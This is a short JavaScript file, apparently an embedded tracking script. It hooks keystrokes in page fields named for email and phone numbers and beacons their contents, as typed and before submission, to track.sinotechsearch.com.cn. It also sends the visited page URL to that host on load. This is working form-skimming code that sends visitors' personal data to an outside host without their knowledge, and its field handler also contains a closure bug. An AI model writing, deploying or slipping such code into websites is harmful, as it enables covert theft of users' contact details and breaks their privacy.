var _a = window, _b = document, _d = _b.location, _e = _b.documentElement, _f = _b.body;
if (_a.innerHeight) {
	_h = _a.innerHeight;
	_w = _a.innerWidth;
} else {
	if (_e && _e.clientHeight) {
		_h = _e.clientHeight;
		_w = _e.clientWidth;
	} else {
		if (_f) {
			_h = _f.clientHeight;
			_w = _f.clientWidth;
		}
	}
}
function code2utf8(_1) {
	var _2 = "";
	for (var n = 0; n < _1.length; n++) {
		var c = _1.charCodeAt(n);
		if (c < 128) {
			_2 += String.fromCharCode(c);
		} else {
			if ((c > 127) && (c < 2048)) {
				_2 += String.fromCharCode((c >> 6) | 192);
				_2 += String.fromCharCode((c & 63) | 128);
			} else {
				_2 += String.fromCharCode((c >> 12) | 224);
				_2 += String.fromCharCode(((c >> 6) & 63) | 128);
				_2 += String.fromCharCode((c & 63) | 128);
			}
		}
	}
	return _2;
}
function encodeUrl(_u) {
	if (_u) {
		_u = code2utf8(_u);
		_u = encodeURIComponent(_u);
		_u = _u.substring(0, 1023);
	}
	return _u;
}
function Trim(s) {
	return s.replace(/^\s*|\s*$/gi, "");
}
var item = new Array();
item[0] = "userMail";
item[1] = "linkPhone";
item[2] = "phone";
for (var i = 0; i < item.length; i++) {
        if (document.getElementsByName(item[i])[0] != null) {
                document.getElementsByName(item[i])[0].onkeydown = function () {
                        var _g = document.getElementsByName(item[i])[0].value;
                        if (_g != undefined) {
                                if (Trim(_g) != "") {
                                        img = new Image();
                                        img.src = "http://track.sinotechsearch.com.cn/cv?v=" + _g;
                                }
                        }
                };
                break;
        }
}
function cUrl() {
	var w = window;
	var p = w.location;
	if (w.location == top.location) {
		p = w.location.toString();
	} else {
		try {
			p = w.top.location.toString();
		}
		catch (e) {
			p = document.referrer;
		}
	}
	return encodeUrl(p);
}
(function () {
	img = new Image();
	img.src = "http://track.sinotechsearch.com.cn/track?u=" + cUrl();
})();
